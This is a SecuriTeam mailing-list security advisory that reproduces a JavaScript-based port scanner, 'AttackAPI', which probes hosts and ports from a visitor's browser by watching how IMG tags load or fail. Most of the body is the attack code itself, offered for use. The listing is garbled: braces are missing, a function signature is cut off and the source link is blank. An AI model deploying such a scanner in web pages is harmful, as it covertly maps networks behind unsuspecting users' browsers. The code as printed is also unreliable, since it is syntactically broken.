[EXPL] Javascript Based Port Scanner

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

- - - - - - - - -

Javascript Based Port Scanner


The following exploit code is a simple to use Javascript based port
scanning code. The code utilizes the behavior of the IMG tag to detect the
presence of an open/closed port.


var AttackAPI = {
version: '0.1',
author: 'Petko Petkov (architect)',
homepage: 'http://www.gnucitizen.org'};

AttackAPI.PortScanner = {};
AttackAPI.PortScanner.scanPort = function (callback, target, port,
timeout) {
var timeout = (timeout == null)?100:timeout;
var img = new Image();

img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, 'open');

img.onload = img.onerror;
img.src = 'http://' + target + ':' + port;

setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
AttackAPI.PortScanner.scanTarget = function (callback, target, ports,
for (index = 0; index < ports.length; index++)
AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout);


The information has been provided by <mailto:ppetkov@xxxxxxxxxxxxxx>
Petko Petkov.
The original article can be found at:


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.